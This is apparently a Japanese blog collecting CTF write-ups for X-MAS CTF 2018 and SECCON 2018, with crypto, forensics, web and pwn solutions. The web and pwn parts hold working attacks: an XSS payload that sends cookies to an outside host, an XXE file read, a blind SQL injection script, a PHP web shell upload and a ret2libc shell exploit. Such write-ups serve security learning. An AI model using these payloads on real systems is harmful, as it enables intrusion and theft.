上記の方程式には4つの解が求まるが、4個の解から正しい平文を特定することはできない。正しい平文が求められるには、平文に十分な冗長度を持たせるなどの条件が必要となるそうな。具体的には、
とすると、求める解は、
{}
の4組を中国の剰余定理により、として求めるらしい。
ここでRabin暗号の暗号化について再度確認する。暗号化は次の通りである。
(ただし、 (をブラム数)、とする)
Hanukkah.pyのencrypt()による処理はc=m**2 % pubkey
であった。つまり今回はが0であるということがわかる。(は単純に0とすることもできるため、Bを省略する場合もある)
よって、今回は、はそれぞれ以下のように求めることができる。
x_p = pow(ct, (p + 1) // 4, p) x_q = pow(ct, (q + 1) // 4, q)
ここで、mの候補が4つになる。
{} の4組を中国の剰余定理により、として求め、FLAGとして読めるものを選ぶ。以下をsageで実行する。
p = 10091467095486219386412925657038008994079750950818412327803970543226016138203830244281982855685318564926478052110051579561412412195187526673196657177343851 q = 57184980207755243189673245389882050966451922054637669857555833078280758116488758040722202677901531011185810382486226074211480927769032477693263422201893659 x_p = 5984384930362230902622118946606281088100185956715787357946688873976535748331735942467243660980295803795793201525873387182929644912620353687562775589288159 x_q = 9829161971938290069494314061938280901130884226712253442619690608876562799446658151136035886370379982653275907790319650566077618427448116797862433732627431 p_x_p = 4107082165123988483790806710431727905979564994102624969857281669249480389872094301814739194705022761130684850584178192378482767282567172985633881588055692 q_x_q = 47355818235816953120178931327943770065321037827925416414936142469404195317042099889586166791531151028532534474695906423645403309341584360895400988469266228 print(crt(x_p, x_q, p, q)) print(crt(p_x_p, x_q, p, q)) print(crt(x_p, q_x_q, p, q)) print(crt(p_x_p, q_x_q, p, q))
実行結果は以下のようになった。
$ sage solver.sage 546904478187754617970476928307782831327662789934115652310999639566732839911154963774037436727833744857683073603504302262536438011729853379642182939993673573801255216023647104887795195253938148646971787123118542563618966430816768768434049464197145400517827633353737734261878904557678614372825691067991025965824 577080342431875103050291541129748237695113048455522768672372116789787568249258449241136894862701032937391075692141058011928319000460264136464333583431446340765331120449009860869563031779240441024465326440106737207865005885016572835407784127138753408938519915029770041431424636487675561808249848130301475549425 3690717643400668910831063406341503098095591698055476318681557942254342027053896194996178473071268238319590774518398915404078477108468086016903753823835938265159657686994321225312921279358286372779396518771582790273013231775355353085206258352613158049531072716590828927233993638378706510890382503991384 30175867934838128480483523653028812708953356616998814416848795904612670592445512520995653131045761150976240408227530267790796392808887865290236660341526590800014169585020442976089061838223571735779912096384713415828829727213035842329087748147866361033850331207105023760374659163990585814130667952692953574985
によるを読める形に直しておわり。
$ python3 >>> s = 3690717643400668910831063406341503098095591698055476318681557942254342027053896194996178473071268238319590774518398915404078477108468086016903753823835938265159657686994321225312921279358286372779396518771582790273013231775355353085206258352613158049531072716590828927233993638378706510890382503991384 >>> bytes.fromhex(hex(s)[2:]).decode().rstrip('X') 'X-MAS{H4nukk4h_Rabb1_and_Rab1n_l0ok_4nd_s0und_v3ry_much_alik3_H4nukk4h}'
FLAGはX-MAS{H4nukk4h_Rabb1_and_Rab1n_l0ok_4nd_s0und_v3ry_much_alik3_H4nukk4h}
。
所感
Rabin暗号を少し理解することができた。
sagemath便利なのでもっといい感じに使っていきたい。
他のcryptoも復習する予定で別枠で記事にしたのだが疲れたので気が向いたら更新するかも。
Special Christmas Wishlist (Crypto)
以下問題文。
While Santa was looking through the wishlists of the childern all around the world he came across a very strange looking one. Help Santa decode the letter in order to fulfill the wishes of this child. (Flag is Non-Standard) wishlist.png UPDATE: flag is lowercase!
wishlist.pngは以下のような画像である。
時々でる換字式暗号の類であると推測できる。この手の問題は頻度分析をしなければならない印象があり、敬遠しがちだったが今回は他の人の解き方を見ながら復習してみる。
とりあえず、以下の画像の上から6行分のみをアルファベットに順に対応させていく。
すると、このような具合になる。
ABCDCEFG AHIJDCEFG KHELG LDJI JDMBNNG NBODAP QHHRGIFL KCOA QGGM JABLLGL LGC HN CSH QBF FHJ SDLFHO CEOQAGML BFTGICEMGM OEACDCHHA UADV SBCUK CSDJ OBMLKOBAAHS LRGSGM
ここまでできたら、quipqiupというツール?に入れてみる。実行結果はこんな感じ。 一番上の出力をいい感じに整形すると、以下のようになる。これで、謎の記号に適当にアルファベットを割り当てた状態から、いい感じにアルファベットを割り当てた状態になった。
LATITUDE LONGITUDE HOUSE SIGN GIRAFFE FAMILY BOOKENDS HTML BEER GLASSES SET OF TWO BAD DOG WISDOM TUMBLERS ADVENTURER MULTITOOL CLIX WATCH TWIG MARSHMALLOW SKEWER
これより、NABJ
がFLAG
に対応することがわかるので、その近辺のみを復号してFLAGを読み取れば終了。
LATITUDE LONGITUDE HOUSE SIGN GIRAFFE FAMILY BOOKENDS HTML BEER GLASSES SET OF TWO BAD DOG WISDOM TUMBLERS ADVENTURER MULTITOOL CLIP WATCH TWIG MARSHMALLOW SKEWER : THE FLAG IS XMASYOUARESOGOODATSUBSTITUTIONCIPHERS
FLAGはX-MAS{xmasyouaresogoodatsubstitutionciphers}
。
所感
換字式暗号が割と機械的に解けることを知ることができてよかった。
quipqiupについて、もう少しどういう処理をしているのか調べてみたい。
最初のアルファベットを謎の記号に割り振る部分をなんとかして自動化したい。
参考
- write-ups/X-MAS CTF 2018/crypto/Hanukkah at master · VoidHack/write-ups · GitHub
- CTFtime.org / X-MAS CTF 2018 / Hanukkah / Writeup
- Sageチュートリアルへようこそ — Sage チュートリアル v8.6
- Install Sage on Mac OSX – Mac App Store
- http://math.shinshu-u.ac.jp/~isasaki/misc/PythonAndSage.pdf
- Miscellaneous arithmetic functions — Sage Reference Manual v8.6: Standard Commutative Rings
- X-MAS CTF 2018 Writeup - よっちんのブログ
- Rabin暗号 - Wikipedia
X-MAS CTF 2018 供養(Webとか)
X-MAS CTFでチラ見以上したけど解けなかった問題の復習をする。(スコアサーバーが動いているうちに、、、)
これはその際のメモとお気持ち。cryptoはまた別でやります。
Santa's lucky number(Web)
以下問題文。
Come on! Santa's lucky number is pretty predictable, don't you think? ;) Server: http://199.247.6.180:12005
とりあえずアクセスしてみると以下のような画面がでてくる。 適当にボタンを押してみるがハッシュ値っぽい数字が出てくるだけ。。。ここで意味がわからず競技中は放置してしまった。
Santa loves hiding his secrets on the page numbered as his lucky number :)
どうやらhttp://199.247.6.180:12005/?page=4
の値を順に調べて行くとFLAG出たらしい。(なぜ思いつけなかったんだ、、、
import requests import re url = 'http://199.247.6.180:12005' i = 0 while True: payload = {'page': str(i)} r = requests.get(url, params=payload) print('[*]Requests: ' + url + '/?page=' + str(i)) if re.search(r'X-MAS', r.text): print(r.text) break; i = i + 1
FLAGはX-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng}
Our Christmas Wishlist(Web)
以下、問題文。
We have all gathered round to write down our wishes and desires for this Christmas! Please don't write anything mean, Santa will be reading this! Server: http://199.247.6.180:12001
とりあえずアクセスしてみると以下のような画面が表示される。
ページのソースは以下のようになっていた。
競技中は上記のフォームに対して<script>location.href="http://g0r0g0r0.ga:8000/17fcd1x1?"+document.cookie</script>
こんな感じのscriptが発火するようなpayloadを送信して、サンタ見に来ないじゃん!!ってキレてた。
. . . <script> function lol () { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (xhttp.readyState == 4 && xhttp.status == 200) { document.location.reload(); } }; var xml = "<message>" + document.getElementById("textarea").value + "</message>"; xhttp.open("POST", "/", true); xhttp.setRequestHeader('Content-Type', 'application/xml'); xhttp.send(xml); }; </script> <body background="paper.jpg" style = "margin-left:25px; margin-top:25px;"> <p class="text" style="font-size: 60px">Our Christmas Wishlist!</p> <textarea id="textarea" rows="6" cols="50" placeholder="I wish for a pony..." class="text" style="font-size: 30px"></textarea> <button style="position:relative; bottom:90px; left:20px;" onclick="lol();"></button> <div style="margin-top:24px;"> </div> </body>
他の人のwriteupを見たところ、どうやらXXEによってファイルを読むことができたらしい。(XMLの時点で気づけたらよかったのか。。。)
以下のようなリクエストを送ることでフラグを入手できた。FLAGはX-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}
。
# curl -X POST http://199.247.6.180:12001/ -d '<!DOCTYPE name [<!ENTITY h SYSTEM "file:///var/www/html/flag.txt"> <!-- <D> -->]><message>&h;</message>' Your wish: X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}
Santa's No Password Login System(Web)
職業柄気になったので復習しておく。以下、問題文。
We all know that Santa is quite an old man. He sometimes forgets things. Including his password. Therefore, our high-tech gnomegineer department worked the whole last night to develop a new login system, that requires no passwords! Nifty. Server: http://199.247.6.180:12003
まず、サーバーにアクセスしてみるとサンタニキが出てくるだけで、これといった入力フォームなどはない、、、
とりあえずソースを表示してみたが、mp3のいい感じの音楽を聞いただけでギブアップ。
<div id="snowflakeContainer"> <p class="snowflake">*</p> </div> <body style="background-color:black"> <!--Bells and Whistles--> <script src="flsnowcompress.js"></script> <audio autoplay> <source src="christmas.mp3" type="audio/mpeg"> </audio> <img class="center" style="width:200; height:323; margin-top:100px" src="santa.png"></img> <p class="text" align="center">Santa's No-Password Login!</p> <p class="text" align="center" style="margin-top:-60px; font-size: 32px; opacity: 0.8;">You don't seem to be using an official Computer from Santa's Laboratory!</p> <p class="text" align="center" style="margin-top:-40px; font-size: 26px; opacity: 0.8; color: red;">Access Denied! </p> </body>
他のwriteupを見てみると、どうやらUserAgentにsqliの脆弱性があったらしい。あとは、以下のようなスクリプトを実行し、Blind SQLインジェクションをしてFLAGをゲットして終わりだったようだ。
import urllib2 flag = "" chars = '-\{\}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_' for i in range(0, 37): for i in range(0, len(chars)): str = """' OR ua LIKE BINARY "{}%";#""".format(flag+chars[i]) headers = { 'User-Agent': str, } req=urllib2.Request("http://199.247.6.180:12003/", None, headers) response=urllib2.urlopen(req).read() if "Welcome" in response: flag += chars[i] print flag break
以下、実行結果。FLAGはX-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}
。
自分もこういうのを見つけられるようになりたい。。。(みんなどうやって見つけてるんだろう??)
# python solve.py X X- X-M X-MA X-MAS X-MAS{ X-MAS{E X-MAS{EV X-MAS{EV3 X-MAS{EV3R X-MAS{EV3RY X-MAS{EV3RY0 X-MAS{EV3RY0N X-MAS{EV3RY0NE X-MAS{EV3RY0NE_ X-MAS{EV3RY0NE_F X-MAS{EV3RY0NE_F3 X-MAS{EV3RY0NE_F34 X-MAS{EV3RY0NE_F34R X-MAS{EV3RY0NE_F34R5 X-MAS{EV3RY0NE_F34R5_ X-MAS{EV3RY0NE_F34R5_T X-MAS{EV3RY0NE_F34R5_TH X-MAS{EV3RY0NE_F34R5_TH3 X-MAS{EV3RY0NE_F34R5_TH3_ X-MAS{EV3RY0NE_F34R5_TH3_B X-MAS{EV3RY0NE_F34R5_TH3_BL X-MAS{EV3RY0NE_F34R5_TH3_BL1 X-MAS{EV3RY0NE_F34R5_TH3_BL1N X-MAS{EV3RY0NE_F34R5_TH3_BL1ND X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_ X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_G X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0 X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3 X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}
参考
X-MAS CTF 2018 writeup
仕事終わりとかにチマチマやっていました。
cryptoを一問も解けていないので哀しみ。あとで復習します。 そこそこ復習しました。
反省会会場はこちら。
Santa The Weaver(Misc)
画像が降ってくるのでstringsコマンドを実行する。
X-MAS{S4n7a_l1k3s_h1di()g_gif7$}
Oh Christmas Tree(Forensics)
なんか降ってきた画像をstringsコマンド実行したら出力の一番下に{this_is_not_the_flag_you_are_looking_for}
とか書いてあったので上の方を見てみたらフラグがでてきた。
X-MAS{0_Chr15tmas_tr33_1s_th1s_a_flag_i_wond3r}
Message from Santa(Forensics)
imgファイルが降ってくる。binwalkコマンドで中身をみてみるとpngファイルがたくさんあったので、7zコマンドで展開する。
$ binwalk classified_gift_distribution_schema.img $ 7z l classified_gift_distribution_schema.img $ 7z e classified_gift_distribution_schema.img
画像をつなぎ合わせてフラグを読んでおしまい。(人力)
from PIL import Image #alphabet = ['a', 'a1', 'a2', 'a3', 'a4', 'a5','a6', 'a7', 'a9', 'a10', 'a11','b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] alphabet_0 = ['a11', 'j', 'a5'] alphabet_1 = ['b', 'k', 'a3', 'q', 'l', 'e', 'w', 'a4', 'i', 'm', 'p'] alphabet_2 = ['a7', 'n', 's', 'o', 'a10', 'r', 'f'] alphabet_3 = ['h', 'v', 'c', 'a2', 'g', 'a6', 'u'] alphabet_4 = ['a', 'a1', 'a9', 't', 'x', 'y', 'z'] images0 = map(Image.open, [i+".png" for i in alphabet_0]) images0 = list(images0) widths0, heights0 = zip(*(i.size for i in images0)) total_width0 = sum(widths0) max_height0 = max(heights0) new_im0 = Image.new('RGB', (total_width0, max_height0)) x_offset0 = 0 for im in images0: new_im0.paste(im, (x_offset0,0)) x_offset0 += im.size[0] new_im0.save('test0.jpg') images1 = map(Image.open, [i+".png" for i in alphabet_1]) images1 = list(images1) widths1, heights1 = zip(*(i.size for i in images1)) total_width1 = sum(widths1) max_height1 = max(heights1) new_im1 = Image.new('RGB', (total_width1, max_height1)) x_offset1 = 0 for im in images1: new_im1.paste(im, (x_offset1,0)) x_offset1 += im.size[0] new_im1.save('test1.jpg') images2 = map(Image.open, [i+".png" for i in alphabet_2]) images2 = list(images2) widths2, heights2 = zip(*(i.size for i in images2)) total_width2 = sum(widths2) max_height2 = max(heights2) new_im2 = Image.new('RGB', (total_width2, max_height2)) x_offset2 = 0 for im in images2: new_im2.paste(im, (x_offset2,0)) x_offset2 += im.size[0] new_im2.save('test2.jpg') images3 = map(Image.open, [i+".png" for i in alphabet_3]) images3 = list(images3) widths3, heights3 = zip(*(i.size for i in images3)) total_width3 = sum(widths3) max_height3 = max(heights3) new_im3 = Image.new('RGB', (total_width3, max_height3)) x_offset3 = 0 for im in images3: new_im3.paste(im, (x_offset3,0)) x_offset3 += im.size[0] new_im3.save('test3.jpg')
フラグはX-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}
。
Santa's Security Levels
mp3ファイルが降ってくる。再生すると最初はシャンシャンとクリスマスっぽい音楽が流れるが、途中から曲調が変わりピーピー鳴り始める。この時点でモールス信号だと予想がつくので以下のサイトで解析する。
すると、以下のgithubリポジトリに行き着く。 github.com
とりあえず書いてあるメッセージをrot13で復号する。
# printf "vF ur uNq nAlguvat pbasvqraGvNy gb fnl, ur jebgr Vg ia pvcure, gung vF, ol FB punaTvat gur beqre bs gur Yf bs gur nycuNorg, gung abg n jbeQ pbhyq or ZnQR bHg." | nkf -r iS he hAd aNything confidenTiAl to say, he wrote It vn cipher, that iS, by SO chanGing the order of the Letters of the alphAbet, that not a worD could be MaDE oUt.
最後に大文字のみを拾ってFLAGフォーマットにしておしまい。
X-MAS{santaissogladmdeu}
GnomeArena: Rock Paper Scissors(Web)
以下問題文。
This new website is all the rage for every gnome in Lapland! How many games of Rock Paper Scissors can you win? Server: http://199.247.6.180:12002
とりあえずサーバーにアクセスする。すると、以下のようなページが現れてジャンケンをすることができる。 しばらくジャンケンをしてみても何もおこらないので、settigsのページへ行ってみる。すると、画像のアップロード機能が用意されている。 一応画像以外のファイルはアップロードできなくなっていたが、以下のように適当にファイルをつなぎ合わせてヘッダのみpngにしてやると任意のファイルをアップロードすることができる。
$ cat noimage sample.php > exploit.php
phpのファイルとしては以下のようなものを用意して、アップロードする。
<pre> <?php echo system($_GET["cmd"]); ?> </pre>
アップロード後、Nameをアップロードしたファイルと同じにすると、http://199.247.6.180:12002/avatars/exploit.php
みたいな場所からファイルを取得してくるので、そこを辿って処理を読むことができる。
あとは適当にコマンドを実行してフラグを探して終わり。
$ curl -X GET "http://199.247.6.180:12002/avatars/exploit.php?cmd=cat /var/www/html/flag.txt"
フラグはX-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}
。
SECCON2018 Classic Pwn 供養
SECCON2018 Classic Pwn
当日は仮想通貨ガチャ回していて取り組めなかったし、取り組んでいてもどのみち解けなかったと思う。最近pwn欲はあまりないが、Classic Pwnくらいは一般教養として復習しておこうと思った。
Classic Pwn
まずはfileコマンドから。
$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped
次にchecksecの結果を確認。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
強い先輩が、実行ファイルが渡されたらとりあえずバッファオーバーフローさせるか、書式文字列ブチ込めって言っていたのでやってみる。
$ python -c "print('A' * 1000)" | ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
バッファオーバーフローした。 pattcでパターン文字列を使ってオフセットを調べる。
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL" IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72
RSPの値"IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
までのオフセットが72バイトであることがわかる。
次に攻撃に利用できそうな関数を探す。探す方法はいくつかあると思うが、以下のコマンドで割と綺麗に探せるようなので実行してみた。
$ objdump -d -M intel -j .plt --no classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: file format elf64-x86-64 Disassembly of section .plt: 0000000000400510 <puts@plt-0x10>: 400510: push QWORD PTR [rip+0x200af2] # 601008 <_GLOBAL_OFFSET_TABLE_+0x8> 400516: jmp QWORD PTR [rip+0x200af4] # 601010 <_GLOBAL_OFFSET_TABLE_+0x10> 40051c: nop DWORD PTR [rax+0x0] 0000000000400520 <puts@plt>: 400520: jmp QWORD PTR [rip+0x200af2] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18> 400526: push 0x0 40052b: jmp 400510 <_init+0x28> 0000000000400530 <setbuf@plt>: 400530: jmp QWORD PTR [rip+0x200aea] # 601020 <_GLOBAL_OFFSET_TABLE_+0x20> 400536: push 0x1 40053b: jmp 400510 <_init+0x28> 0000000000400540 <printf@plt>: 400540: jmp QWORD PTR [rip+0x200ae2] # 601028 <_GLOBAL_OFFSET_TABLE_+0x28> 400546: push 0x2 40054b: jmp 400510 <_init+0x28> 0000000000400550 <__libc_start_main@plt>: 400550: jmp QWORD PTR [rip+0x200ada] # 601030 <_GLOBAL_OFFSET_TABLE_+0x30> 400556: push 0x3 40055b: jmp 400510 <_init+0x28> 0000000000400560 <gets@plt>: 400560: jmp QWORD PTR [rip+0x200ad2] # 601038 <_GLOBAL_OFFSET_TABLE_+0x38> 400566: push 0x4 40056b: jmp 400510 <_init+0x28>
まず、pop rdi
-> puts@got
-> puts@plt
-> main
して libc のベースアドレスをリークさせる。ついでにsystem関数のアドレスも求めておく。
payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) ... leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"]
"pop rdi; ret"
はgdb-pedaの中で以下のように調べることができる。
gdb-peda$ b main Breakpoint 1 at 0x4006ad gdb-peda$ r gdb-peda$ ropsearch "pop rdi" Searching for ROP gadget: 'pop rdi' in: binary ranges 0x00400753 : (b'5fc3') pop rdi; ret
次にpop rdi
->/bin/sh addr
してsystem("/bin/sh")
を呼び出しておわり。
payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef)
最終的に以下のコードを実行してシェルを取り、幸せになったらおわり。 (コードについては こちらのブログのものがわかりやすかったので使わせていただきました。)
from pwn import * def main(): conn = process("./classic_aa9e979fd5c597526ef30c003bffee474b314e22") elf = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22") libc = ELF("./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253") popret = 0x400753 payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) conn.recvuntil(">> ") conn.sendline(payload) conn.recvuntil("Have a nice pwn!!\n") leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"] print "libc_base: " + hex(libc_base) print "system_addr: " + hex(system_addr) payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef) conn.recvuntil(">> ") conn.sendline(payload) conn.interactive() if __name__ == "__main__": main()
おわり。若干消化不良なところもあるので強いパイセンに聞いて追記しようと思う。
参考
http://shift-crops.hatenablog.com/entry/2018/11/05/042149#Classic-Pwn-Exploit-121-197-solves http://ywkw1717.hatenablog.com/entry/2018/10/28/185936 http://yuta1024.hateblo.jp/entry/2018/11/01/215302 https://osanamity.net/2018/11/06/110940